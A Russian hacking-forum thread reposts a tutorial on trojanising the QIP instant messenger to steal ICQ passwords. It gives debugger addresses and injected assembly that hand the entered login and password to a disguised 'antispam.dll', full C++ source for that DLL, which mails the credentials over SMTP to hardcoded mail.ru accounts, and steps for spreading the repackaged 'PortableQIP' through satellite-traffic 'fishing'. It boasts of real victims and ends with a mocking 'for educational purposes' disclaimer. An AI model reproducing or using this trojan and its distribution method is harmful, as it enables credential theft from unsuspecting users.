computer,hack,and more others

Объявление

Нравится ли Вам наш форум?

Да, Очень!
Думаю Да!
Нет, не очень.
Нет.
Незнаю.

Добро пожаловать на наш форум!Здесь ты можеж поговорить на всякие разные темы,поделится советами,рассказать что нибудь,предложить чтонибудь сделать новенькое администрации форума,получить ценный совет или помощь!И многое другое!!!

Друзья сайта
http://stalker-nn.3dn.ru/ War style Тайны Смолвилля: Ролевая игра

Информация о пользователе

Привет, Гость! Войдите или зарегистрируйтесь.


Вы здесь » computer,hack,and more others » Взлом » Ловля на живца


Ловля на живца

Сообщений 1 страница 4 из 4

1

компьютерная рыбалка :idea:

0

2

Зараженная наживка против рыбаков

Ни для кого не секрет, что в нашей стране все очень любят халяву. Одним из видов халявы является рыбалка. И речь идет не о той рыбалке, которая с удочкой у пруда, а о той, когда сидишь за компьютером и смотришь, как твоя спутниковая тарелка ловит файлы, падающие со спутника. Таких «рыбаков» в последнее время развелось очень много. Движущая ими жажда халявы сыграет нам на руку и поможет впарить собственноручно написанного трояна.

Из вышесказанного, думаю, понятно, чем мы сегодня займемся. Мы самостоятельно внедрим в приложение-жертву небольшого троянца и распространим его (в смысле приложение). Но для распространения мы не будем использовать почту или поломанные сайты, а заюзаем «спутниковую рыбалку». Спутниковая рыбалка уже освещалась в одном из номеров ][, так что поднимай подшивку.

Общий план дальнейших действий следующий:

   1. подготавливаем наживку,
   2. распространяем наживку,
   3. взвешиваем улов.

0

3

Подготовка наживки

В качестве наживки я взял всем известного QIP Build 8020 (да простят меня разработчики). Можно, конечно, было выбрать какую-нибудь другую программу, например Notepad, но вряд ли большое количество человек, поймав Notepad, станет ставить его себе на компьютер :). Да и блокнот, который просится в интернет, - это как-то странно.

По выбору наживки ты, наверное, уже догадался, что мы будем воровать пароли от ICQ (думаю, для примера этого будет вполне достаточно). Для этого необходимо добавить в QIP дополнительный функционал, задачей которого будет отправка пары логин/пароль к нам на почтовый ящик. Реализуем это следующим образом. В сам QIP внедрим код, загружающий нашу DLL и передающий одной из ее функций (назовем ее proc1) в качестве параметров пару логин/пароль. DLL, в свою очередь, отправит полученные данные к нам на почтовый ящик. Задачи поставлены, можно переходить к их решению…

Первое, что мы должны сделать, - это найти место, где из edit’ов считываются введенные пользователем персональные данные. Таким образом мы облегчим себе задачу по добыванию персональной информации и нам не придется разбираться в алгоритме шифрования паролей к асе, которые лежат на диске. Поэтому открываем QIP в OllyDbg.

Необходимо немного осмотреться, поэтому жмем <F9> и запускаем приложение. Если поле «Пароль» оставить пустым и нажать на кнопку «Подключиться», то выскочит MessageBox, который нам и поможет :). Поставим на него бряк (bpx MessageBoxA). Еще раз пробуем подключиться и прерываемся по адресу 0x00487E42 (CALL <JMP.&user32.MessageBoxA>). Нажимаем <Ctrl-F9>, чтобы перейти в конец функции и еще несколько раз <F8>, чтобы выйти из нее. В результате мы оказываемся по адресу 0x0064AE05. Чуть выше, по адресу 0x0064ADB6 находится проверка, которая отвечает за вывод сообщения о невведенном пароле. Ставим на нее бряк (<F2>) и возобновляем работу приложения (<F9>). Еще раз пробуем подключиться, только уже в качестве пароля вводим «test123», а в качестве номера - «123456789». Прерываемся на только что поставленном бряке и видим, что в стеке находится введенный нами пароль. По <F8> пробираемся чуть дальше по коду до места 0x0064AEC7. При этом у нас в стеке образовалась пара логин/пароль.

Здесь мы будем внедрять свой код, поскольку у нас уже есть все интересующие нас данные. Конечно, просто взять и изменить чужой код нельзя - программа будет работать некорректно. Поэтому нам нужно найти свободное место, где можно будет внедрить код для вызова нашей DLL. Алгоритм следующий: по адресу 0x0064AEC7 мы вставляем джамп на внедренный код по вызову DLL, после выполнения которого возвращаемся обратно, предварительно выполнив затертые джампом инструкции. Для поиска свободного места нажимаем <Ctrl-B> и в качестве двоичной строки для поиска вводим «C3 00 00 00 00 00 00 00 00 00» и т.д. (C3 – это команда RETN).

Найдены свободные участки по адресам 0x00410368 и 0x0052EAEB. Нам этого вполне достаточно. В первый участок мы поместим путь к нашей DLL (Plugins\antispam.dll), а во второй – код, отвечающий за ее загрузку. Можно приступать к модификации кода, но сначала запомним 3 команды, располагающиеся по адресу 0x0064AEC7, так как они будет затерты переходом на внедренный код. Это следующие команды:

0064AEC7 MOV BYTE PTR DS:[EBX+397],1

0064AECE MOV EAX,DWORD PTR DS:[69C080]

0064AED3 MOV EAX,DWORD PTR DS:[EAX]

Переходим к модификации кода по адресу 0x0064AEC7. Записываем в стек пару логин/пароль и идем по адресу 0x0052EAEB:

0064AEC7 PUSH DWORD PTR SS:[ESP+2C] ; Пароль

0064AECB PUSH DWORD PTR SS:[ESP+28] ; Логин

0064AECF JMP 0x0052EAEB

По адресам 0x00410368 и 0x0052EB21 записываем строчки «Plugins\antispam.dll» и «proc1» соответственно. По адресу 0x0052EAEB кладем следующий код:

PUSH 0x00410368 ;Адрес строки «Plugins\antispam.dll»

CALL 00407854 ;Вызов функции LoadLibrary

PUSH 0x0052EB21 ;Адрес строки «proc1»

PUSH EAX ;Хэндл загруженной библиотеки

CALL 00401384 ;Вызов функции GetProcAddress

CALL EAX ;Вызываем функцию proc1, при этом передаваемые

;ей параметры находятся уже на вершине стека

MOV BYTE PTR DS:[EBX+397],1 ;Выполняем поврежденные команды

MOV EAX,DWORD PTR DS:[69C080]

MOV EAX,DWORD PTR DS:[EAX]

ADD ESP,8 ;Корректируем стек

JMP 0x0064AED5 ;Возвращаемся обратно

Еще один штрих. Изменим информацию о билде, которая выводится при загрузке приложения. Для этого поищем в коде константу 8020(1F54h) («ПК -> Search for -> Constant»). Команда, использующая эту константу, находится по адресу 0x006503AF. Меняем MOV EAX,1F54h на MOV EAX,235Ah. Результат можно увидеть на скриншоте.

Теперь приложение полностью готово и его можно оставить в покое. Пришло время DLL. DLL содержит всего одну экспортируемую функцию proc1, которая принимает 2 параметра и отправляет их на указанный почтовый ящик. Для отправки писем заведены 3 ящика: nonamenoname1@mail.ru, nonamenoname2@mail.ru и nonamenoname3@mail.ru. 3 ящика нужны потому, что после отправки нескольких писем за очень короткое время ящик временно блокируется. В этом случае письмо отправляется с помощью другого ящика. Все письма с паролями будут приходить на четвертый ящик nonamenonameall@mail.ru. Сам процесс общения с SMTP-сервером достаточно прост и выглядит следующим образом (пример отправки сообщения с использованием telnet представлен на одном из рисунков):

   1. Здороваемся с сервером с помощью HELO. В данном случае параметр команды значения не имеет.
   2. Авторизуемся (AUTH LOGIN), поскольку иначе письмо отправить не получится.
   3. Вводим свой логин, предварительно закодировав его с помощью BASE64.
   4. Вводим свой пароль, также в BASE64.
   5. Указываем отправителя (MAIL FROM: nonamenoname1@mail.ru).
   6. Указываем получателя (RCPT TO: nonamenonameall@mail.ru).
   7. Вводим команду DATA. После ответа сервера вводим текст письма.
   8. Чтобы закончить ввод, нужно ввести «Enter+"."+Enter».
   9. Выходим (QUIT).

extern "C" void CALLBACK proc1(char *str,char *str2)

{

strcpy(l,str);

strcpy(p,str2);

if(working!=0)

{

CreateThread(NULL,0,SendEMail,NULL,0,NULL);

}

}

DWORD WINAPI SendEMail(LPVOID lpData)

{

int accNumber=0;

working=0;

while(accNumber<ACC_COUNT)

{

BOOL AllOK=true;

BYTE sBuf[4096];

SOCKET nSMTPServerSocket;

struct sockaddr_in smtp_address;

int nConnect;

int iLength;

int iMsg = 0;

int iEnd = 0;

char *MailMessage[] =

{

"HELO mail.ru\r\n",

"AUTH LOGIN\r\n",

NULL,

NULL,

NULL,

"RCPT TO: nonamenonameall@mail.ru\r\n",

"DATA\r\n",

NULL,

"QUIT\r\n",

NULL

};

WSADATA wsa;

if (WSAStartup(MAKEWORD(2,0),&wsa))

{

working=100;

return 0;

}

//Так как для отправки используется один из трех ящиков, то необходимо подготовить данные, которые будут отправлены SMTP-серверу

MailMessage[2]=(char *)malloc(strlen(acci[accNumber].l)+2);//Выделяем место под логин

strcpy(MailMessage[2],acci[accNumber].l);//Копируем логин

strcat(MailMessage[2],"\r\n");

MailMessage[3]=(char *)malloc(strlen(acci[accNumber].p)+2);//Выделяем место под пароль

strcpy(MailMessage[3],acci[accNumber].p);//Копируем пароль

strcat(MailMessage[3],"\r\n");

MailMessage[4]=(char *)malloc(strlen(acci[accNumber].mail)+2);//Выделяем место под адрес отправителя

strcpy(MailMessage[4],acci[accNumber].mail);//Копируем адрес отправителя

strcat(MailMessage[4],"\r\n");

MailMessage[7]=(char *)malloc(strlen(l)+strlen(p)+11);

strcpy(MailMessage[7],l);

strcat(MailMessage[7]," - ");

strcat(MailMessage[7],p);

strcat(MailMessage[7],"\r\n\r\n.\r\n");

nSMTPServerSocket = socket(PF_INET, SOCK_STREAM, 0);

if(nSMTPServerSocket != INVALID_SOCKET)

{

smtp_address.sin_family = AF_INET;

smtp_address.sin_addr.s_addr = inet_addr("194.67.23.111");//ИП mail.ru

smtp_address.sin_port = htons(25);

nConnect = connect(nSMTPServerSocket, (PSOCKADDR)&smtp_address,sizeof(smtp_address));

if(!nConnect)

{

do

{

iLength = recv(nSMTPServerSocket, (LPSTR)sBuf+iEnd, sizeof(sBuf)-iEnd, 0);

if((sBuf[iEnd])=='4' && (sBuf[iEnd+1])=='0' && (sBuf[iEnd+2])=='3')

{//Если в ответ получили 403, то ящик для отправки временно заблокирован, поэтому используем следующий

accNumber++;

AllOK=false;

break;

}

iEnd += iLength;

sBuf[iEnd] = '\0';

send(nSMTPServerSocket, (LPSTR)MailMessage[iMsg], strlen(MailMessage[iMsg]), 0);

iMsg++;

}

while(MailMessage[iMsg]);

}

closesocket(nSMTPServerSocket);

nSMTPServerSocket=NULL;

}

if(AllOK) break;

}

working=100;

return 0;

}

Компилируем. Результат переименовываем в antispam.dll и помещаем в каталог Plugins. Называем каталог с QIP’ом, например, PortableQIP, чтобы заинтересовать рыбака, который поймает нашу наживку. Архивируем наше творение и переходим к следующему пункту плана.

0

4

Распространяем наживку

Поскольку для распространения мы решили использовать спутниковую рыбалку, необходимо остановиться на этом процессе поподробнее. Конечно, рыбалка сейчас уже не та, что была раньше… Сейчас многие провайдеры переходят на новое ПО, которое не передает данные в открытом виде, а применяет шифрование. Но все не так плохо. Например, на SkyDSL треть трафика все еще не шифруется. Поэтому мы будем использовать именно его. Для этого нам понадобится залить файл на какой-нибудь сервер (например, Yandex) и скачать его несколько раз с помощью ПО, не использующего шифрование. Можно также запустить skynet (ПО для рыбалки) и убедиться, что наш PortableQIP действительно ловится.

Все, теперь от нас ничего не зависит. Можно ждать поклевки :).

Взвешиваем улов

Спустя пару часов проверяем снасти и обнаруживаем, что наша наживка была проглочена 15 раз. Для того чтобы письма приходили чаще, необходимо регулярно копировать приложение, тем самым давая народу возможность его поймать и запустить. Конечно же, лучшее время для рыбалки - это выходные. В выходные количество халявщиков увеличивается, поскольку улов действительно приличный. Это и новинки видео, и музыка, и книги, и еще много всего интересного :).

Конец

Самое смешное то, что один из рыбаков теперь постоянно пользуется этой новой версией QIP’а, в результате чего на ящик регулярно приходят пароли от его аси. В качестве оправдания хочу отметить, что ни одна из асек не пострадала, равно как и их пользователи. Статья написана лишь ознакомительных целях. Как ты знаешь, распространение троянов является наказуемым деянием. Поэтому мы ничего и не распространяли, а всего лишь пару раз скачали приложение на свой компьютер :).

0


Вы здесь » computer,hack,and more others » Взлом » Ловля на живца